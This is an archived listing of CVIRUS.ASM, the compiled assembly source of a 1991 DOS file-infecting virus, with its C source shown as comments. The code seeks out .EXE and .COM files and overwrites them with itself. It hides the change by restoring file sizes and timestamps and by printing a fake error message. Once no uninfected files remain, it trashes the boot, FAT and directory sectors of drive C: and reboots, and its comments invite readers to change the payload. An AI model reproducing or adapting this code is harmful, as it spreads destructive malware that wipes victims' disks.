home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CVIRUS.ASM < prev    next >
Assembly Source File  |  1991-10-02  |  12KB  |  596 lines

  1.     ifndef    ??version
  2. ?debug    macro
  3.     endm
  4. $comm    macro    name,dist,size,count
  5.     comm    dist name:BYTE:count*size
  6.     endm
  7.     else
  8. $comm    macro    name,dist,size,count
  9.     comm    dist name[size]:BYTE:count
  10.     endm
  11.     endif
  12.     ?debug    S "cvirus.c"
  13.     ?debug    C E9A18C4217086376697275732E63
  14.     ?debug    C E90008A41413433A5C54435C494E434C5544455C6469722E68
  15.     ?debug    C E90008A41413433A5C54435C494E434C5544455C646F732E68
  16.     ?debug    C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68
  17.     ?debug    C E90008A41412433A5C54435C494E434C5544455C696F2E68
  18.     ?debug    C E90008A41416433A5C54435C494E434C5544455C7374646172672E+
  19.     ?debug    C 68
  20.     ?debug    C E90008A41415433A5C54435C494E434C5544455C737464696F2E68
  21. _TEXT    segment byte public 'CODE'
  22. _TEXT    ends
  23. DGROUP    group    _DATA,_BSS
  24.     assume    cs:_TEXT,ds:DGROUP
  25. _DATA    segment word public 'DATA'
  26. d@    label    byte
  27. d@w    label    word
  28. _DATA    ends
  29. _BSS    segment word public 'BSS'
  30. b@    label    byte
  31. b@w    label    word
  32. _BSS    ends
  33. _DATA    segment word public 'DATA'
  34. _screw_virex    label    byte
  35.     db    245
  36.     db    35
  37.     db    114
  38.     db    150
  39.     db    84
  40.     db    250
  41.     db    227
  42.     db    188
  43.     db    205
  44.     db    4
  45.     db    0
  46. _DATA    ends
  47. _TEXT    segment byte public 'CODE'
  48.    ;    
  49.    ;    void hostile_activity(void)
  50.    ;    
  51.     assume    cs:_TEXT
  52. _hostile_activity    proc    near
  53.     push    bp
  54.     mov    bp,sp
  55.    ;    
  56.    ;    {
  57.    ;        /* Put whatever you feel like doing here...
  58.    ;           I chose to make this routine trash the victim's boot, FAT, and
  59.    ;           directory sectors, but you can alter this code however you want,
  60.    ;           and are encouraged to do so.
  61.    ;        */
  62.    ;    
  63.    ;    
  64.    ;    #ifdef DEBUG
  65.    ;        puts("\aAll files infected!");
  66.    ;        exit(1);
  67.    ;    #else
  68.    ;        /* Overwrite five sectors, starting with sector 0, on C:, with the
  69.    ;           memory at location DS:0000 (random garbage).
  70.    ;        */
  71.    ;    
  72.    ;        abswrite(2, 5, 0, (void *) 0);
  73.    ;    
  74.     xor    ax,ax
  75.     push    ax
  76.     xor    dx,dx
  77.     push    ax
  78.     push    dx
  79.     mov    ax,5
  80.     push    ax
  81.     mov    ax,2
  82.     push    ax
  83.     call    near ptr _abswrite
  84.     add    sp,10
  85.    ;    
  86.    ;        __emit__(0xCD, 0x19);    // Reboot computer
  87.    ;    
  88.     db    205
  89.     db    25
  90.    ;    
  91.    ;    #endif
  92.    ;    }
  93.    ;    
  94.     pop    bp
  95.     ret    
  96. _hostile_activity    endp
  97. _TEXT    ends
  98. _DATA    segment word public 'DATA'
  99.     db    78
  100.     db    77
  101.     db    65
  102.     db    78
  103.     db    0
  104. _DATA    ends
  105. _TEXT    segment byte public 'CODE'
  106.    ;    
  107.    ;    int infected(char *fname)
  108.    ;    
  109.     assume    cs:_TEXT
  110. _infected    proc    near
  111.     push    bp
  112.     mov    bp,sp
  113.     sub    sp,36
  114.     push    si
  115.    ;    
  116.    ;    {
  117.    ;        /* This function determines if fname is infected.  It reads four
  118.    ;           bytes 28 bytes in from the start and checks them agains the
  119.    ;           current header.  1 is returned if the file is already infected,
  120.    ;           0 if it isn't.
  121.    ;        */
  122.    ;    
  123.    ;        register int handle;
  124.    ;        char virus_signature[35];
  125.    ;        static char check[] = SIGNATURE;
  126.    ;    
  127.    ;        handle = _open(fname, O_RDONLY);
  128.    ;    
  129.     mov    ax,1
  130.     push    ax
  131.     push    word ptr [bp+4]
  132.     call    near ptr __open
  133.     add    sp,4
  134.     mov    si,ax
  135.    ;    
  136.    ;        _read(handle, virus_signature, sizeof(virus_signature));
  137.    ;    
  138.     mov    ax,35
  139.     push    ax
  140.     lea    ax,word ptr [bp-36]
  141.     push    ax
  142.     push    si
  143.     call    near ptr __read
  144.     add    sp,6
  145.    ;    
  146.    ;        close(handle);
  147.    ;    
  148.     push    si
  149.     call    near ptr _close
  150.     inc    sp
  151.     inc    sp
  152.    ;    
  153.    ;    
  154.    ;    #ifdef DEBUG
  155.    ;        printf("Signature for %s:  %.4s\n", fname, &virus_signature[28]);
  156.    ;    #endif
  157.    ;    
  158.    ;        /* This next bit may look really stupid, but it actually saves about
  159.    ;           100 bytes.
  160.    ;        */
  161.    ;    
  162.    ;        return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1])
  163.    ;    
  164.    ;    
  165.    ;               && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
  166.    ;    
  167.     mov    al,byte ptr [bp-8]
  168.     cmp    al,byte ptr DGROUP:d@+11
  169.     jne    short @2@146
  170.     mov    al,byte ptr [bp-7]
  171.     cmp    al,byte ptr DGROUP:d@+11+1
  172.     jne    short @2@146
  173.     mov    al,byte ptr [bp-6]
  174.     cmp    al,byte ptr DGROUP:d@+11+2
  175.     jne    short @2@146
  176.     mov    al,byte ptr [bp-5]
  177.     cmp    al,byte ptr DGROUP:d@+11+3
  178.     jne    short @2@146
  179.     mov    ax,1
  180.     jmp    short @2@170
  181. @2@146:
  182.     xor    ax,ax
  183. @2@170:
  184.    ;    
  185.    ;    }
  186.    ;    
  187.     pop    si
  188.     mov    sp,bp
  189.     pop    bp
  190.     ret    
  191. _infected    endp
  192.    ;    
  193.    ;    void spread(char *virus, struct ffblk *victim)
  194.    ;    
  195.     assume    cs:_TEXT
  196. _spread    proc    near
  197.     push    bp
  198.     mov    bp,sp
  199.     sub    sp,4740
  200.     push    si
  201.     push    di
  202.    ;    
  203.    ;    {
  204.    ;        /* This function infects victim with virus.  First, the victim's
  205.    ;           attributes are set to 0.  Then the virus is copied into
  206.    ;           the victim's file name.  Its attributes, file date/time, and
  207.    ;           size are set to that of the victim's, preventing detection, and
  208.    ;           the files are closed.
  209.    ;        */
  210.    ;    
  211.    ;        register int virus_handle, victim_handle;
  212.    ;        unsigned virus_size;
  213.    ;        char virus_code[TOO_SMALL + 1], *victim_name;
  214.    ;    
  215.    ;    
  216.    ;        /* This is used enought to warrant saving it in a separate variable */
  217.    ;    
  218.    ;        victim_name = victim->ff_name;
  219.    ;    
  220.     mov    ax,word ptr [bp+6]
  221.     add    ax,30
  222.     mov    word ptr [bp-4],ax
  223.    ;    
  224.    ;    
  225.    ;    
  226.    ;    #ifdef DEBUG
  227.    ;        printf("Infecting %s with %s...\n", victim_name, virus);
  228.    ;    #endif
  229.    ;    
  230.    ;        /* Turn off all of the victim's attributes so it can be replaced */
  231.    ;    
  232.    ;        _chmod(victim_name, 1, 0);
  233.    ;    
  234.     xor    ax,ax
  235.     push    ax
  236.     mov    ax,1
  237.     push    ax
  238.     push    word ptr [bp-4]
  239.     call    near ptr __chmod
  240.     add    sp,6
  241.    ;    
  242.    ;        
  243.    ;    
  244.    ;    #ifdef DEBUG
  245.    ;        puts("Ok so far...");
  246.    ;    #endif
  247.    ;    
  248.    ;        /* Recreate the victim */
  249.    ;    
  250.    ;        virus_handle = _open(virus, O_RDONLY);
  251.    ;    
  252.     mov    ax,1
  253.     push    ax
  254.     push    word ptr [bp+4]
  255.     call    near ptr __open
  256.     add    sp,4
  257.     mov    di,ax
  258.    ;    
  259.    ;        victim_handle = _creat(victim_name, victim->ff_attrib);
  260.    ;    
  261.     mov    bx,word ptr [bp+6]
  262.     mov    al,byte ptr [bx+21]
  263.     cbw    
  264.     push    ax
  265.     push    word ptr [bp-4]
  266.     call    near ptr __creat
  267.     add    sp,4
  268.     mov    si,ax
  269.    ;    
  270.    ;    
  271.    ;    
  272.    ;        /* Copy virus */
  273.    ;    
  274.    ;        virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
  275.    ;    
  276.     mov    ax,4736
  277.     push    ax
  278.     lea    ax,word ptr [bp-4740]
  279.     push    ax
  280.     push    di
  281.     call    near ptr __read
  282.     add    sp,6
  283.     mov    word ptr [bp-2],ax
  284.    ;    
  285.    ;        _write(victim_handle, virus_code, virus_size);
  286.    ;    
  287.     push    ax
  288.     lea    ax,word ptr [bp-4740]
  289.     push    ax
  290.     push    si
  291.     call    near ptr __write
  292.     add    sp,6
  293.    ;    
  294.    ;    
  295.    ;    
  296.    ;    #ifdef DEBUG
  297.    ;        puts("Almost done...");
  298.    ;    #endif
  299.    ;    
  300.    ;        /* Reset victim's file date, time, and size */
  301.    ;    
  302.    ;        chsize(victim_handle, victim->ff_fsize);
  303.    ;    
  304.     mov    bx,word ptr [bp+6]
  305.     push    word ptr [bx+28]
  306.     push    word ptr [bx+26]
  307.     push    si
  308.     call    near ptr _chsize
  309.     add    sp,6
  310.    ;    
  311.    ;        setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
  312.    ;    
  313.     mov    ax,word ptr [bp+6]
  314.     add    ax,22
  315.     push    ax
  316.     push    si
  317.     call    near ptr _setftime
  318.     add    sp,4
  319.    ;    
  320.    ;    
  321.    ;    
  322.    ;        /* Close files */
  323.    ;    
  324.    ;        close(virus_handle);
  325.    ;    
  326.     push    di
  327.     call    near ptr _close
  328.     inc    sp
  329.     inc    sp
  330.    ;    
  331.    ;        close(victim_handle);
  332.    ;    
  333.     push    si
  334.     call    near ptr _close
  335.     inc    sp
  336.     inc    sp
  337.    ;    
  338.    ;    
  339.    ;    #ifdef DEBUG
  340.    ;        puts("Infection complete!");
  341.    ;    #endif
  342.    ;    }
  343.    ;    
  344.     pop    di
  345.     pop    si
  346.     mov    sp,bp
  347.     pop    bp
  348.     ret    
  349. _spread    endp
  350. _TEXT    ends
  351. _DATA    segment word public 'DATA'
  352.     dw    DGROUP:s@
  353.     dw    DGROUP:s@+6
  354.     db    0
  355.     db    0
  356. _DATA    ends
  357. _BSS    segment word public 'BSS'
  358.     db    43 dup (?)
  359. _BSS    ends
  360. _TEXT    segment byte public 'CODE'
  361.    ;    
  362.    ;    struct ffblk *victim(void)
  363.    ;    
  364.     assume    cs:_TEXT
  365. _victim    proc    near
  366.     push    bp
  367.     mov    bp,sp
  368.     push    si
  369.     push    di
  370.    ;    
  371.    ;    {
  372.    ;        /* This function returns a pointer to the name of the virus's next
  373.    ;           victim.  This routine is set up to try to infect .EXE and .COM
  374.    ;           files.  If there is a command line argument, it will try to infect
  375.    ;           that file instead.  If all files are infected, hostile activity
  376.    ;           is initiated...
  377.    ;        */
  378.    ;    
  379.    ;        register int done;
  380.    ;        register char **ext;
  381.    ;        static char *types[] = {"*.EXE", "*.COM", NULL};
  382.    ;        static struct ffblk ffblk;
  383.    ;    
  384.    ;        for (ext = (*++_argv) ? _argv : types; *ext; ext++) {
  385.    ;    
  386.     add    word ptr DGROUP:__argv,2
  387.     mov    bx,word ptr DGROUP:__argv
  388.     cmp    word ptr [bx],0
  389.     je    short @4@74
  390.     mov    ax,word ptr DGROUP:__argv
  391.     jmp    short @4@98
  392. @4@74:
  393.     mov    ax,offset DGROUP:d@w+16
  394. @4@98:
  395.     mov    si,ax
  396.     jmp    short @4@362
  397. @4@122:
  398.    ;    
  399.    ;            done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH);
  400.    ;    
  401.     mov    ax,39
  402.     push    ax
  403.     mov    ax,offset DGROUP:b@w+0
  404.     push    ax
  405.     push    word ptr [si]
  406.     call    near ptr _findfirst
  407.     add    sp,6
  408.     jmp    short @4@290
  409. @4@146:
  410.    ;    
  411.    ;            while (!done) {
  412.    ;    
  413.    ;    #ifdef DEBUG
  414.    ;                printf("Scanning %s...\n", ffblk.ff_name);
  415.    ;    #endif
  416.    ;    
  417.    ;        /* If you want to check for specific days of the week, months, etc.,
  418.    ;           here is the place to insert the code (don't forget to "#include
  419.    ;           <time.h>").
  420.    ;        */
  421.    ;    
  422.    ;                if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
  423.    ;    
  424.     cmp    word ptr DGROUP:b@w+0+28,0
  425.     jl    short @4@266
  426.     jg    short @4@218
  427.     cmp    word ptr DGROUP:b@w+0+26,4735
  428.     jbe    short @4@266
  429. @4@218:
  430.     mov    ax,offset DGROUP:b@w+0+30
  431.     push    ax
  432.     call    near ptr _infected
  433.     inc    sp
  434.     inc    sp
  435.     or    ax,ax
  436.     jne    short @4@266
  437.    ;    
  438.    ;                    return(&ffblk);
  439.    ;    
  440.     mov    ax,offset DGROUP:b@w+0
  441.     jmp    short @4@410
  442. @4@266:
  443.    ;    
  444.    ;                done = findnext(&ffblk);
  445.    ;    
  446.     mov    ax,offset DGROUP:b@w+0
  447.     push    ax
  448.     call    near ptr _findnext
  449.     inc    sp
  450.     inc    sp
  451. @4@290:
  452.     mov    di,ax
  453.     or    di,di
  454.     je    short @4@146
  455.     inc    si
  456.     inc    si
  457. @4@362:
  458.     cmp    word ptr [si],0
  459.     jne    short @4@122
  460.    ;    
  461.    ;            }
  462.    ;        }
  463.    ;    
  464.    ;    
  465.    ;        /* If there are no files left to infect, have a little fun */
  466.    ;    
  467.    ;        hostile_activity();
  468.    ;    
  469.     call    near ptr _hostile_activity
  470. @4@410:
  471.    ;    
  472.    ;    }
  473.    ;    
  474.     pop    di
  475.     pop    si
  476.     pop    bp
  477.     ret    
  478. _victim    endp
  479. _TEXT    ends
  480. _DATA    segment word public 'DATA'
  481.     dw    DGROUP:s@+12
  482.     dw    DGROUP:s@+26
  483.     dw    DGROUP:s@+41
  484.     dw    DGROUP:s@+61
  485.     dw    DGROUP:s@+78
  486.     dw    DGROUP:s@+97
  487.     dw    DGROUP:s@+115
  488.     dw    DGROUP:s@+144
  489. _DATA    ends
  490. _TEXT    segment byte public 'CODE'
  491.    ;    
  492.    ;    int main(void)
  493.    ;    
  494.     assume    cs:_TEXT
  495. _main    proc    near
  496.     push    bp
  497.     mov    bp,sp
  498.     push    si
  499.    ;    
  500.    ;    {
  501.    ;        /* In the main program, a victim is found and infected.  If all files
  502.    ;           are infected, a malicious action is performed.  Otherwise, a bogus
  503.    ;           error message is displayed, and the virus terminates with code
  504.    ;           1, simulating an error.
  505.    ;        */
  506.    ;    
  507.    ;        static char *err_msg[] = {"Out of memory", "Bad EXE format",
  508.    ;                      "Invalid DOS version", "Bad memory block",
  509.    ;                      "FCB creation error", "Sharing violation",
  510.    ;                      "Abnormal program termination",
  511.    ;                      "Divide error"
  512.    ;                     };
  513.    ;        register char *virus_name = *_argv;
  514.    ;    
  515.     mov    bx,word ptr DGROUP:__argv
  516.     mov    si,word ptr [bx]
  517.    ;    
  518.    ;    
  519.    ;        spread(virus_name, victim());
  520.    ;    
  521.     call    near ptr _victim
  522.     push    ax
  523.     push    si
  524.     call    near ptr _spread
  525.     add    sp,4
  526.    ;    
  527.    ;        puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
  528.    ;    
  529.     xor    ax,ax
  530.     mov    es,ax
  531.     mov    bx,word ptr es:[1132]
  532.     and    bx,7
  533.     shl    bx,1
  534.     push    word ptr DGROUP:d@w+22[bx]
  535.     call    near ptr _puts
  536.     inc    sp
  537.     inc    sp
  538.    ;    
  539.    ;        return(1);
  540.    ;    
  541.     mov    ax,1
  542.    ;    
  543.    ;    }
  544.    ;    
  545.     pop    si
  546.     pop    bp
  547.     ret    
  548. _main    endp
  549.     ?debug    C E9
  550. _TEXT    ends
  551. _DATA    segment word public 'DATA'
  552. s@    label    byte
  553.     db    '*.EXE'
  554.     db    0
  555.     db    '*.COM'
  556.     db    0
  557.     db    'Out of memory'
  558.     db    0
  559.     db    'Bad EXE format'
  560.     db    0
  561.     db    'Invalid DOS version'
  562.     db    0
  563.     db    'Bad memory block'
  564.     db    0
  565.     db    'FCB creation error'
  566.     db    0
  567.     db    'Sharing violation'
  568.     db    0
  569.     db    'Abnormal program termination'
  570.     db    0
  571.     db    'Divide error'
  572.     db    0
  573. _DATA    ends
  574. _TEXT    segment byte public 'CODE'
  575. _TEXT    ends
  576.     extrn    __creat:near
  577.     extrn    __open:near
  578.     public    _infected
  579.     extrn    _findfirst:near
  580.     extrn    _findnext:near
  581.     public    _hostile_activity
  582.     extrn    _setftime:near
  583.     extrn    __read:near
  584.     public    _victim
  585.     extrn    _puts:near
  586.     extrn    __argv:word
  587.     public    _main
  588.     extrn    _chsize:near
  589.     public    _screw_virex
  590.     extrn    _close:near
  591.     public    _spread
  592.     extrn    __write:near
  593.     extrn    __chmod:near
  594.     extrn    _abswrite:near
  595.     end
  596.